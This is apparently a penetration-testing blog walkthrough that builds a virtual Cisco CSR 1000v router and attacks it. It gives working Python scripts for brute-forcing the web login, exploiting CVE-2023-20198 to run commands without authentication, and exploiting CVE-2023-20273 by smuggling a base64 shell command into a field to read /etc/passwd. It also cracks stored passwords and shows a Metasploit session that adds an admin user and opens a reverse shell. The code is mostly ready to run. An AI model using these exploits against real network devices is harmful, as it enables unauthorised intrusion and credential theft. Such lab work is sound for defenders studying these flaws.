Cisco IOS-XE is a version of Cisco’s Internetwork Operating System (IOS) that runs on Linux. IOS-XE can be used on both routers and switches.
In this article, we will be setting up a virtual Cloud Services Router 1000v (CSR 1000v), and exploiting it.
Configuring the Router
We can use VirtualBox to create a virtual router. Configure the virtual machine with the following parameters;
- The operating system set to Debian (64-bit)
- 16 GB of RAM
- At least one virtio-net network adapter is attached, and set to bridged
- Use ISO image csr1000v-universalk9.16.09.07.iso supplied by Cisco
When this boots, it should receive a DHCP address automatically. Next, configure the router to ensure the SSH and HTTPS administrative interfaces are enabled, and CDP is active on the network interface.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | service config service timestamps debug datetime msec service timestamps log datetime msec service password-encryption platform qfp utilization monitor load 80 platform punt-keepalive disable-kernel-core platform console virtual hostname ciscoxe boot-start-marker boot-end-marker enable password 7 104D000A0618 aaa new-model aaa session-id common ip domain name bordergate.local login on-success log subscriber templating multilink bundle-name authenticated crypto pki trustpoint TP-self-signed-3345638089 enrollment selfsigned subject-name cn=IOS-Self-Signed-Certificate-3345638089 revocation-check none rsakeypair TP-self-signed-3345638089 crypto pki certificate chain TP-self-signed-3345638089 certificate self-signed 01 30820330 30820218 A0030201 02020101 300D0609 2A864886 F70D0101 05050030 <SNIP> quit license udi pid CSR1000V sn 97KULB7322G no license smart enable diagnostic bootup level minimal spanning-tree extend system-id username cisco password 7 14141B180F0B redundancy cdp run interface GigabitEthernet1 ip address dhcp negotiation auto cdp enable no mop enabled no mop sysid ip forward-protocol nd ip http server ip http authentication local ip http secure-server ip http client source-interface GigabitEthernet1 ip ssh time-out 60 ip ssh authentication-retries 5 control-plane line con 0 stopbits 1 line vty 0 4 transport input ssh end |
Software Version Enumeration
CDP packets sent from the device can be used to identify the software version in use.
1 2 3 4 5 6 7 | sudo tshark -i eth0 -a duration:30 -V -f "ether host 01:00:0c:cc:cc:cc" -c 2 | grep -e "IP Address" -e "Device ID:" -e "Software version: Cisco IOS Software" -e "Port ID:" Capturing on 'eth0' Device ID: ciscoxe.bordergate.local Device ID: ciscoxe.bordergate.local Software version: Cisco IOS Software [Fuji], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 16.9.7, RELEASE SOFTWARE (fc1) IP Address: 192.168.1.171 Port ID: GigabitEthernet1 |
Web Interface Brute Force
The web interface just uses Basic Authentication which can easily be brute forced using some Python code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | import requests from requests.auth import HTTPBasicAuth import urllib3 import argparse import sys urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser(description = "Cisco Web UI brute force" ) parser.add_argument( "url" , help = "Target URL (e.g. https://192.168.1.171/webui/index.html)" ) parser.add_argument( "username" , help = "Username to use for authentication" ) parser.add_argument( "password_file" , help = "Path to password list file" ) args = parser.parse_args() try : with open (args.password_file, "r" ) as f: passwords = [line.strip() for line in f if line.strip()] except Exception as e: print (f "Error reading password file: {e}" ) sys.exit( 1 ) for pwd in passwords: print (f "[/] Trying password: {pwd}" ) try : res = requests.get(args.url, verify = False , auth = HTTPBasicAuth(args.username, pwd), timeout = 5 ) if "Wrong Credentials" not in res.text: print (f "\n[+] Success! Password found: {pwd}" ) print (f "Status Code: {res.status_code}" ) break else : print ( "[-] Incorrect password." ) except requests.RequestException as e: print (f "[-] Request failed: {e}" ) else : print ( "\n[-] None of the passwords worked." ) |
Running the script will identify default passwords.
1 2 3 4 5 6 7 8 9 10 11 12 13 | python3 cisco_brute.py https://192.168.1.171/webui/index.html cisco /home/kali/passwords.txt [/] Trying password: admin [-] Incorrect password. [/] Trying password: test [-] Incorrect password. [/] Trying password: password [-] Incorrect password. [/] Trying password: Password1 [-] Incorrect password. [/] Trying password: cisco [+] Success! Password found: cisco Status Code: 200 |
By default, the web interface will only allow us to see basic performance metrics.

CVE-2023-20198
Cisco consider CVE-2023-20198 a critical vulnerability. By sending a specially crafted SOAP message, we can execute arbitrary commands on the router without authentication.
In this instance, we are using Python to send a “show run” command to the device, although this could also be used to add additional user accounts to the device. This exploit works up to IOS-XE version 17.12.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | import requests import urllib3 import argparse ##################################################################################### # ██████╗░░█████╗░██████╗░██████╗░███████╗██████╗░░██████╗░░█████╗░████████╗███████╗# # ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝░██╔══██╗╚══██╔══╝██╔════╝# # ██████╦╝██║░░██║██████╔╝██║░░██║█████╗░░██████╔╝██║░░██╗░███████║░░░██║░░░█████╗░░# # ██╔══██╗██║░░██║██╔══██╗██║░░██║██╔══╝░░██╔══██╗██║░░╚██╗██╔══██║░░░██║░░░██╔══╝░░# # ██████╦╝╚█████╔╝██║░░██║██████╔╝███████╗██║░░██║╚██████╔╝██║░░██║░░░██║░░░███████╗# # ╚═════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░╚══════╝# ##################################################################################### # IOS-XE CVE-2023-20198 # ##################################################################################### urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser(description = "Exploit CVE-2023-20198" ) parser.add_argument( "host" , help = "Target IP or hostname (e.g., 192.168.1.171)" ) args = parser.parse_args() url = f "https://{args.host}/%2577ebui_wsma_https" headers = { "Host" : args.host, "Content-Type" : "application/x-www-form-urlencoded" , "Connection" : "keep-alive" } soap_body = """<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>vty0</wsse:Username> <wsse:Password>*****</wsse:Password> </wsse:UsernameToken> </wsse:Security> </SOAP:Header> <SOAP:Body> <request correlator="BmNLXPsO" xmlns="urn:cisco:wsma-config"> <configApply details="all" action-on-fail="continue"> <config-data> <cli-config-data-block><![CDATA[exit show run]]></cli-config-data-block> </config-data> </configApply> </request> </SOAP:Body> </SOAP:Envelope>""" try : response = requests.post(url, headers = headers, data = soap_body, verify = False , timeout = 10 ) print ( "Status Code:" , response.status_code) print ( "Response Body:\n" , response.text) except requests.RequestException as e: print ( "Request failed:" , e) |
Running the exploit provides us with the show run output.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | python3 cisco_cve_2023_20198.py 192.168.1.171 Status Code: 200 Response Body: <?xml version="1.0" encoding="UTF-8"?><SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP:Body><response xmlns="urn:cisco:wsma-config" correlator="BmNLXPsO" success="1"><resultEntry lineNumber="1" cliString="exit"><success change="NO_CHANGE" mode="IMMEDIATE" /></resultEntry><resultEntry lineNumber="2" cliString="show run"><invalid /><text> **CLI Line # 2: Building configuration... **CLI Line # 2: Current configuration : 3500 bytes **CLI Line # 2: ! **CLI Line # 2: ! Last configuration change at 09:53:29 UTC Sat May 3 2025 by vty0 **CLI Line # 2: ! **CLI Line # 2: version 16.9 **CLI Line # 2: service config **CLI Line # 2: service timestamps debug datetime msec **CLI Line # 2: service timestamps log datetime msec **CLI Line # 2: service password-encryption **CLI Line # 2: platform qfp utilization monitor load 80 **CLI Line # 2: platform punt-keepalive disable-kernel-core **CLI Line # 2: platform console virtual **CLI Line # 2: ! **CLI Line # 2: hostname ciscoxe **CLI Line # 2: ! **CLI Line # 2: boot-start-marker **CLI Line # 2: boot-end-marker **CLI Line # 2: ! **CLI Line # 2: ! **CLI Line # 2: enable password 7 104D000A0618 **CLI Line # 2: ! **CLI Line # 2: aaa new-model **CLI Line # 2: aaa session-id common **CLI Line # 2: ip domain name bordergate.local **CLI Line # 2: login on-success log **CLI Line # 2: subscriber templating **CLI Line # 2: multilink bundle-name authenticated **CLI Line # 2: crypto pki trustpoint TP-self-signed-3345638089 **CLI Line # 2: enrollment selfsigned **CLI Line # 2: subject-name cn=IOS-Self-Signed-Certificate-3345638089 **CLI Line # 2: revocation-check none **CLI Line # 2: rsakeypair TP-self-signed-3345638089 **CLI Line # 2: crypto pki certificate chain TP-self-signed-3345638089 **CLI Line # 2: certificate self-signed 01 **CLI Line # 2: 30820330 30820218 A0030201 02020101 300D0609 2A864886 F70D0101 05050030 **CLI Line # 2: 31312F30 2D060355 04031326 494F532D 53656C66 2D536967 6E65642D 43657274 **CLI Line # 2: quit **CLI Line # 2: license udi pid CSR1000V sn 97KULB7322G **CLI Line # 2: no license smart enable **CLI Line # 2: diagnostic bootup level minimal **CLI Line # 2: ! **CLI Line # 2: spanning-tree extend system-id **CLI Line # 2: ! **CLI Line # 2: username cisco password 7 14141B180F0B **CLI Line # 2: ! **CLI Line # 2: redundancy **CLI Line # 2: cdp run **CLI Line # 2: interface GigabitEthernet1 **CLI Line # 2: ip address dhcp **CLI Line # 2: negotiation auto **CLI Line # 2: cdp enable **CLI Line # 2: no mop enabled **CLI Line # 2: no mop sysid **CLI Line # 2: ! **CLI Line # 2: ip forward-protocol nd **CLI Line # 2: ip http server **CLI Line # 2: ip http authentication local **CLI Line # 2: ip http secure-server **CLI Line # 2: ip http client source-interface GigabitEthernet1 **CLI Line # 2: ! **CLI Line # 2: ip ssh time-out 60 **CLI Line # 2: ip ssh authentication-retries 5 **CLI Line # 2: control-plane **CLI Line # 2: line con 0 **CLI Line # 2: stopbits 1 **CLI Line # 2: line vty 0 4 **CLI Line # 2: transport input ssh </text></resultEntry></response></SOAP:Body></SOAP:Envelope> |
We can then use cisco7crack to decode the type 7 passwords.
1 2 3 | cisco7crack 14141B180F0B Encrypted string : 14141B180F0B Plain string : cisco |
CVE-2023-20273
CVE-2023-20273 allows you to get a Linux shell access to a device. It requires authentication credentials, although those can be added using the previous exploit. Although this should support earlier versions of IOS-XE, I didn’t have much luck on 16.09, so switched to 17.03 (csr1000v-universalk9.17.03.04a.iso).
The below Python script exploits this vulnerability (using hard-coded credentials cisco:cisco).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | import requests import argparse import urllib3 import random import string import base64 ##################################################################################### # ██████╗░░█████╗░██████╗░██████╗░███████╗██████╗░░██████╗░░█████╗░████████╗███████╗# # ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝░██╔══██╗╚══██╔══╝██╔════╝# # ██████╦╝██║░░██║██████╔╝██║░░██║█████╗░░██████╔╝██║░░██╗░███████║░░░██║░░░█████╗░░# # ██╔══██╗██║░░██║██╔══██╗██║░░██║██╔══╝░░██╔══██╗██║░░╚██╗██╔══██║░░░██║░░░██╔══╝░░# # ██████╦╝╚█████╔╝██║░░██║██████╔╝███████╗██║░░██║╚██████╔╝██║░░██║░░░██║░░░███████╗# # ╚═════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░╚══════╝# ##################################################################################### # IOS-XE CVE-2023-20273 # ##################################################################################### urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def generate_random_filename(length = 8 ): return ''.join(random.choices(string.ascii_letters, k = length)) parser = argparse.ArgumentParser(description = "Exploit CVE-2023-20273" ) parser.add_argument( "host" , help = "Target IP or hostname (e.g., 192.168.1.172)" ) args = parser.parse_args() command = 'cat /etc/passwd' b64command = base64.b64encode(command.encode()).decode() base_url = f "https://{args.host}" filename = generate_random_filename() headers_common = { "Authorization" : "Basic Y2lzY286Y2lzY28=" , "Connection" : "keep-alive" } # === REQUEST 1 === post_url = f "{base_url}/webui/rest/softwareMgmt/installAdd" headers_post = headers_common.copy() headers_post[ "Content-Type" ] = "application/x-www-form-urlencoded" post_data = f """ {{ "installMethod": "tftp", "mode": "tftp", "ipaddress": "472f:d39a:0f4f:$($(openssl enc -base64 -d <<< {b64command}) &> /var/www/{filename})", "operation_type": "SMU", "filePath": "ZMqIqcNx", "fileSystem": "flash:" }} """ .strip() try : print ( "Sending POST request..." ) post_resp = requests.post(post_url, headers = headers_post, data = post_data, verify = False , timeout = 10 ) print ( "POST Response Status:" , post_resp.status_code) print ( "POST Response Body:\n" , post_resp.text) except requests.RequestException as e: print ( "POST request failed:" , e) # === REQUEST 2 === get_url = f "{base_url}/webui/{filename}" try : print (f "\nSending GET request to /webui/{filename} ..." ) get_resp = requests.get(get_url, headers = headers_common, verify = False , timeout = 10 ) print ( "GET Response Status:" , get_resp.status_code) print ( "GET Response Body:\n" , get_resp.text) except requests.RequestException as e: print ( "GET request failed:" , e) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | python3 cisco_cve_2023_20273.py 192.168.1.172 Sending POST request... POST Response Status: 200 POST Response Body: Sending GET request to /webui/ycGBbBzo ... GET Response Status: 200 GET Response Body: root:*:0:0:root:/root:/bin/bash binos:x:85:85:binos administrative user:/usr/binos/conf:/usr/binos/conf/bshell.sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin messagebus:x:998:997::/var/lib/dbus:/bin/false avahi:x:997:996::/var/run/avahi-daemon:/bin/false avahi-autoipd:x:996:995:Avahi autoip daemon:/var/run/avahi-autoipd:/bin/false guestshell:!:1000:1000::/home/guestshell: dockeruser:*:1000000:65536:Dockeruser:/:/sbin/nologin |
Metasploit
Both of the previous exploits are available in Metasploit, and can be executed together using the cisco_ios_xe_rce module.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.1.172 RHOSTS => 192.168.1.172 msf6 exploit(linux/misc/cisco_ios_xe_rce) > run [*] Started reverse TCP handler on 192.168.1.192:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.04a [*] Created privilege 15 user 'ziXrKJyi' with password 'oPDgLdxC' [*] Removing user 'ziXrKJyi' [*] Sending stage (3045380 bytes) to 192.168.1.172 [*] Meterpreter session 1 opened (192.168.1.192:4444 -> 192.168.1.172:56668) at 2025-05-03 11:33:28 +0100 meterpreter > meterpreter > sysinfo Computer : Router OS : (Linux 4.19.184) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > |
In Conclusion
Although the exploits discussed in this article are a few years old now, in my experience networking equipment software doesn’t get frequently upgraded. I would recommend restricting access to the administrative interfaces of networking equipment to prevent similar vulnerabilities.